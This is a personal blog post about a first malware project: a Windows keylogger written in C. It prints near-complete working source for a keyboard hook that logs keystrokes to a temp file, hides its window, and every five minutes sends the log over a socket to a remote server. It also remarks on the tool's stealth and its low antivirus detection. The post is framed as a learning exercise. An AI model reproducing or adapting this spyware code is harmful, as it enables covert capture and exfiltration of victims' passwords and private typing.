My First Malware

Thomas Gadola
12 min readNov 24, 2017

I decided that my first project would be a simple keylogger. I would hook the keyboard and output keystrokes to a file on disk. Generally, I wouldn’t want artifacts from malware on disk, but I wanted to make this as simple as possible. Of course, this sounded good in theory, but I really had no idea where to start. Up until I decided to start this project, I had only basic C coding knowledge and no Windows programming experience at all. So it was off to Google!

After some research, I found that this might be easier than I had anticipated. Windows has a built-in hooking function called SetWindowsHookEx that allows you to set global hooks, even better, one of those hooks can be placed on the keyboard. Now all I had to do was learn how those functions worked and learn how file input and output worked. My research led me to MSDN which is arguably the best coding resource for Windows programmers.

The prototype for the SetWindowsHookEx function looks like this:

HHOOK WINAPI SetWindowsHookEx( 
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);

The function takes an integer to a hook ID, a pointer to a function, a handle module, and a thread ID. I’d like to point out that Windows uses some pretty interesting names for their types, they call it “Hungarian” notation; for instance, lpfn is a long pointer to function. It’s confusing at first, but it grows on you. The first two values are the most important. The hook ID is an integer for the type of hook that you are going to install. Windows has the available IDs listed on the function page. In our case, we want ID 13, or WH_KEYBOARD_LL. The HOOKPROC is a pointer to a callback function that will be called everytime the hooked process receives data. That means that every time you press on a key, our HOOKPROC will be called. This is the function that we will use to write the keystrokes to the file. hMod is a handle to a dll that contains the function that the lpfn points to. This value will be set to NULL because we are using a function in the same process as SetWindowsHookEx, though we might revisit this later. dwThreadId will be 0 because we want to associate the callback with all of the threads on the desktop. The function returns an integer, which we will use to verify that the hook was set properly or exit otherwise. That is how the SetWindowsHookEx function works; our filled in function call will look like this:

hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);

Note that you can use either the name WH_KEYBOARD_LL or its integer value, 13. Now we will move on to the callback function. The callback function will do the heavy lifting for this program. It will handle getting the keystrokes, transform them into ASCII letters, and all of the file operations.

LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);

The parameters for the function are an integer that tells Windows how to interpret the message, a wParam, which is an identifier of the message, and an lParam, which is a pointer to a KBDLLHOOKSTRUCT structure. The values for wParam are specified in the function page and there is a page describing the members of a KBDLLHOOKSTRUCT as well. The value of the lParam KBDLLHOOKSTRUCT that I want is the vkCode, which is the code for the key that was pressed. This is not the actual letter, as the letters could vary based on the language of the keyboard. I will have to convert this code later. For now, I don’t have to worry about passing parameters to our keyboard callback function because they will be passed by the operating system when the hook is activated. So the skeleton code for hooking the keyboard would look similar to the following:

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "user32.lib")

// Define global hook
HHOOK hHook = NULL;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){

return CallNextHookEx(hHook, nCode, wParam, lParam);
}

int main(void){

// Set Windows Hook
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
// Make sure that hook is set
if(hHook == NULL){
// I should put something here...
// I guess we can exit since its no good if we dont have this hook
return 1;
}

MSG msg;
while(GetMessage(&amp;msg, NULL, 0, 0)){

}

return 0;
}

Some things to note are the inclusion of the pragma comment line, the message loop, and the return CallNextHookEx line in the callback function. The pragma comment line is a compiler directive to statically link the User32 dll. This dll holds most of the function calls that we will be making and so we linked it here. We could have also just linked it with compiler options. The message loop is necessary if you are using the LowLevelKeyboardProc function. MSDN states “This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.” I returned CallNextHookEx because MSDN states “Calling the CallNextHookEx function to chain to the next hook procedure is optional, but it is highly recommended; otherwise, other applications that have installed hooks will not receive hook notifications and may behave incorrectly as a result. You should call CallNextHookEx unless you absolutely need to prevent the notification from being seen by other applications.”

So now it was time to build out the functionality of the callback function. I started by getting a file handle to a file. I chose to just make a file named “test.txt” in the Windows Temp directory. I opened the file with the append argument because I wanted to continually output the letters to the file. If the file is not present in temp, one will be created.

The next thing that I did was declared a KBDLLHOOKSTRUCT pointer and then assign it to the lParam. This will allow me to access the parameters within the lParam of each key press. Then I checked to see if the wParam returned “WM_KEYDOWN”, this will check if the key was pressed down. I did this because the hook will trigger on both the downpress and the release of a key. If I didn’t check for WM_KEYDOWN, the program would write every key twice.

After checking for the downpress, I wrote a switch statement that would check the vkCode of the lParam for special keys. Certain keys would need to be written to the file differently than the rest, such as the return key, control and shift keys, space, and tab keys. For the default case, I had to convert the vkCode of the key to the actual letter. I did this using the ToAscii function. ToAscii takes the vkCode, a ScanCode, a pointer to an array of the keyboard state, a pointer to the buffer that will receive the letter, and an int value for uFlags. We get the vkCode and ScanCode from the key struct, we just create an array for the KeyState, though this is optional and I’m pretty sure that we can remove it, we create a buffer to hold the output, and the uFlags parameter will be set to 0.

I also needed to check to see if certain keys were released, such as the shift key. I did this by writing an if statement to check for “WM_KEYUP” and then I wrote a switch statement to check the keys that I needed. Finally, I close the file and return CallNextHookEx. Now the Callback function looks like this:

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){

WORD cbuff[2] = {0};
BYTE boardstate[256];

// set file pointer
FILE *fpointer;

// open file
fpointer = fopen("C:\\Windows\\Temp\\test.txt", "a");

// error handling
if (fpointer == NULL){
// in case of failure, call next hook
return CallNextHookEx(hHook, nCode, wParam, lParam);

}

KBDLLHOOKSTRUCT *key = (KBDLLHOOKSTRUCT *) lParam;

// Only record on down press
if(wParam == WM_KEYDOWN){
switch (key->vkCode){
case 0x08:
fprintf(fpointer, "[b]");
break;
case 0x09:
fprintf(fpointer, "[t]");
break;
case 0x0D:
fprintf(fpointer, "\n");
break;
case 0xA0:
fprintf(fpointer, "[s]");
break;
case 0xA1:
fprintf(fpointer, "[s]");
case 0xA2:
fprintf(fpointer, "[ct]");
break;
case 0xA3:
fprintf(fpointer, "[ct]");
break;
case 0x12:
fprintf(fpointer, "[a]");
break;
case 0x14:
fprintf(fpointer, "[c]");
break;
case 0x20:
fprintf(fpointer, " ");
break;
case 0x2E:
fprintf(fpointer, "[d]");
break;
case 0x25:
fprintf(fpointer, "[L]");
break;
case 0x26:
fprintf(fpointer, "[U]");
break;
case 0x27:
fprintf(fpointer, "[R]");
break;
case 0x28:
fprintf(fpointer, "[D]");
break;
case 0x5B:
fprintf(fpointer, "[Win]");
break;
case 0x5C:
fprintf(fpointer, "[Win]");
break;
case 0x5D:
fprintf(fpointer, "[Apps]");
break;
default:
if(ToAscii((UINT)key->vkCode, key->scanCode, boardstate, cbuff, 0) == 1){
// print whatever is in the buffer
fprintf(fpointer, "%ws", cbuff);
}
else{
fprintf(fpointer, "[Error]");
}
}
}
// to let me know when special keys have been released
if(wParam == WM_KEYUP){
switch (key->vkCode){
case 0xA0:
fprintf(fpointer, "[/s]");
break;
case 0xA1:
fprintf(fpointer, "[/s]");
case 0xA2:
fprintf(fpointer, "[/ct]");
break;
case 0xA3:
fprintf(fpointer, "[/ct]");
break;
case 0x12:
fprintf(fpointer, "[/a]");
break;
default: break;
}
}
// close the file pointer
fclose(fpointer);

// By definition, you have to return CallNextHookEx
return CallNextHookEx(hHook, nCode, wParam, lParam);
}

At this point the keylogger is completely functional, however, there are a few problems. The first is that running the program spawns a command prompt, which makes it very obvious that the program is running, and the lack of output on the prompt is pretty suspicious. Another problem is that having the file on the same computer that the keylogger is running on isn’t very helpful. I then addressed those problems.

The command prompt problem can be fixed relatively easily by switching the standard C “Main” function entry point with the Windows specific WinMain function entry point. From my understanding, the reason that this works is that WinMain is an entry point for a graphical program on Windows. The operating system is expecting you to handle the creation of the windows for the program, and we just don’t create any. Now the program just spawns a process in the background without creating any windows. That solved the first problem, but the second problem will be a little more difficult.

I didn’t have any socket programming experience with C but looking into it led me to an online book called “Beej’s Guide to Network Programming”, this is probably the best C network programming guide available. I used that guide, along with another guide on WinSock to write the file sending functions. I will include those functions below, which I wrote in a separate source and header file and just included that in the original source file, but I will not explain how they work. I would recommend looking into the two guides that I linked, as they are great resources.

#include <stdio.h>
#include <ws2tcpip.h>
#include <winsock.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>

#include "io.h"

#pragma comment(lib, "ws2_32.lib")

int sock;
struct addrinfo hints, *c2;


int socket_setup(void){

// Start WSA stuff
WSADATA wsaData;

// MAKEWORD(1,1) for Winsock 1.1, MAKEWORD(2,0) for Winsock 2.0:
if (WSAStartup(MAKEWORD(2,0), &wsaData) != 0){
return 1;
}

// ensure that hints struct is empty
memset(&hints, 0, sizeof(hints));

// fill out hints with relevant wants
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;

// use getaddrinfo to fill out the rest of the struct
getaddrinfo("my_server_ip", "my_server_port", &hints, &c2);

// create socket
if ((sock = socket(c2->ai_family, c2->ai_socktype, c2->ai_protocol)) == INVALID_SOCKET){
return 1;
}

return 0;
}

int socket_connect(void){

// connect to server
if (connect(sock, c2->ai_addr, c2->ai_addrlen) < 0){
return 1;
}

return 0;
}

int socket_sendfile(void){

int err, res, len;
char file_size[12];
HANDLE out_file;
LARGE_INTEGER fsize;
LONGLONG pad = 1;
DWORD bytes_read;

out_file = CreateFile( "C:\\Windows\\Temp\\test.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_file == INVALID_HANDLE_VALUE) {
err = GetLastError();
return 1;
}

if (res = GetFileSizeEx(out_file, &fsize) == 0){
err = GetLastError();
return 1;
}

sprintf(file_size, "%lld", fsize.QuadPart);

len = send(sock, file_size, sizeof(file_size), 0);
if (len < 0){
return 1;
}

void *read_buffer = calloc((fsize.QuadPart + pad), sizeof(char));
if (read_buffer == NULL){
return 1;
}

if(res = ReadFile(out_file, read_buffer, fsize.QuadPart, &bytes_read, NULL) == 0){
return 1;
}

res = send(sock, read_buffer, fsize.QuadPart, 0);

if(res <= 0){
return 1;
}


free(read_buffer);
CloseHandle(out_file);
return 0;
}

int socket_cleanup(void){
// close socket and clean up
closesocket(sock);
WSACleanup();
return 0;
}

It was during the writing of the socket functions that I ran into a problem that I had not run into before. Because the main function enters a message loop, I was only able to send the file one time, right before the message loop was entered. Well, that didn’t help, because the file would be empty. After some research, I learned about multi-threading. Essentially, I could start a new thread that would handle sending the file. That thread would not have a message loop, so I could create an infinite loop where it would check the time in intervals of 5 minutes, send the file, and then sleep. Setting up another thread is really easy, the CreateThread function takes a few parameters, but the only one that we really need to specify is a pointer to the function that the thread will run, which I named “thread_func”, the rest will be 0 or NULL as we either don’t need to specify or the default value will work.

The last function that I want to touch on the is the get_time function. I wanted to send the file every 5 minutes. So I had to write a function that would get the local time and then return the minute value. Later, in the thread_func I use that value to see if it is divisible by 5 if so, send the file. This is the code with those functions added:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdbool.h>
#include <time.h>

#include "io.h"

#pragma comment(lib, "user32.lib")


// Define global hook
HHOOK hHook = NULL;

// Define thread handle
HANDLE h_thread;
// Declare time stuff

int get_time(void){
time_t current_time;
current_time = time(NULL);
struct tm *tm_struct = localtime(&current_time);

int min = tm_struct->tm_min;
return min;
}

// connect to server
DWORD WINAPI thread_func(LPVOID lpParam){
int r, ctime;

while(1){
ctime = get_time();
if((ctime % 5) == 0){
socket_setup();
if (socket_connect() == 0){
socket_sendfile();
}

socket_cleanup();
}
Sleep(59000);
}
return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){

..previous code..
}

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow){

// Set Windows Hook
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
// Make sure that hook is set
if(hHook == NULL){
//I should put something here...
// I guess we can exit since its no good if we dont have this hook
return 1;
}

// Create second thread
h_thread = CreateThread(NULL, 0, &thread_func, NULL, 0, NULL);

if(h_thread == NULL){
// and here...
return 1;
}

// Enter message loop
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{

}

return 0;
}

Now the code is complete, and I have a pretty stealthy keylogger. I decided to upload the executable to VirusTotal to see how many hits it would get.

Not bad. Though the first time that I ever compiled and uploaded this program it got 10 hits, and a few days later it was up to 26; however, when I recompiled on a separate virtual machine it only had 1 hit… not sure whats going on there. I’m going to have to look into it. And here is an example of the output, the test email and password are fake…obviously.

So there you have it. I have the full code on my GitHub, but it is currently in a private repo. I might make it public eventually.

This was a great learning experience for me. During this project, I learned how socket programming works, how multiple threads work, and how Windows system calls and hooks work. I hope that this information was useful and I hope that my first project shows how much you can learn working on a project like this. In total, the first version of this program took me about a month working on it in my spare time. If you have any questions or comments, please leave them here or reach out to me via email at thomas.gadola@gmail.com.

VirusTotal:

SHA-256: 4575697822e48bbb8e0ae3a4859836c243346a519e77814f359814d347d37a80

References:

https://www.youtube.com/watch?v=eTyucoMdDjs

https://www.youtube.com/watch?v=O0C4V6JmlNw

Originally published at www.segfaultsecurity.com on November 24, 2017.

--

--